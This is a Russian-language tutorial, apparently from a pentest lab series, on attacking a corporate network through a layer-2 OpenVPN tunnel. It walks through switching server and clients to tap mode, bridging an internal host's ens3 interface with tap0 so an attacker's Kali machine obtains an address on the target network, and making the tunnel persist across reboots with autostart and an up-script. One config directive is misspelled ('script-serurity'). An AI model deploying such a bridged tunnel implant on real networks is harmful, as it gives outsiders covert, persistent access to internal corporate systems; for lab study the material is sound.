# Атака на сеть через VPN уровня L2
Смысл атаки получение доступа к корпоратвной сети через VPN туннель

Настройка VPN сервера описана в статье "[Атака на сеть через VPN соединение L3](https://hackmd.io/@bigkreck/BywpbdCPd)"
1. Изменение конфигурационного файла сервера, клиента
В конфигурационном файле `/etc/openvpn/server.conf` изменить интерфейс на `tap`
```bash=
cd /etc/openvpn
nano server.conf
```

Удалить файл настройки клиента в папке `/etc/openvpn/ccd/`, перезапустить OpenVPN
```bash=
cd ccd
rm User_1
service openvpn restart
```
2. Изменение конфигурационного файла Клиента
В конфигурационном файле клиента `kali.conf` изменить интерфейс на `tap`
```bash=
nano kali.conf
```

Аналогично на клиентском устройстве внутри корпоративной сети изменить файл `User_1.conf`
Настроить `bridge` между сетями `ens3` и `tap0`
Установить пакет `bridge_utils`
```bash=
apt install bridge-utils
```
Изменить конфигурационный фаил настройки сети `/etc/network/interfaces` добавив следущие строки
```bash=
auto ens3
iface ens3 inet manual
auto tap0
iface tap0 inet manual
auto br0
iface br0 inet dhcp
bridge_ports ens3 tap0
```
и перезапустить службу
```bash=
service networking restart
```
На клиенте с ОС Kali внести изменения в конфигурационный файл настроек сети `/etc/network/interfaces` добавив следущие строки
```bash=
auto eth0
iface eth0 inet dhcp
auto tap0
iface tap0 inet dhcp
```
и перезапустить службу
```bash=
service networking restart
```
Если клиент Kali не получает IP адреса атакуемой сети необходимо проверить подключился ли интерфейс `tap` к интерфейсу `br0`

3. Автоматический запуск OpenVPN клиент после перезагрузки
Добавить запуск OpenVPN в автозагрузку
```bash=
systemctl enable openvpn
```
Изменить конфигурационный файл `/etc/default/openvpn` дописав в параметре `AUTOSTART` имя конфигурационного файла для подключения клиетна

Конфигурационный файл должен находиться в каталогк `/etc/openvpn`
После перезагрузки клиента будет автоматически подниматься соединение, но сам интерфейс `tap0` будет не в бридже, необходимо создать скрипт автоматического перезапуска службы `networking`
```bash=
#!/bin/bash
systemctl restart networking
```
и добавить его в автозагрузку при запуске OpenVPN, добавив следующую строку в конфигурационный файл клиента `/etc/openvpn/User_1.conf`
```bash=
script-serurity 2
up /etc/openvpn/restart.sh
```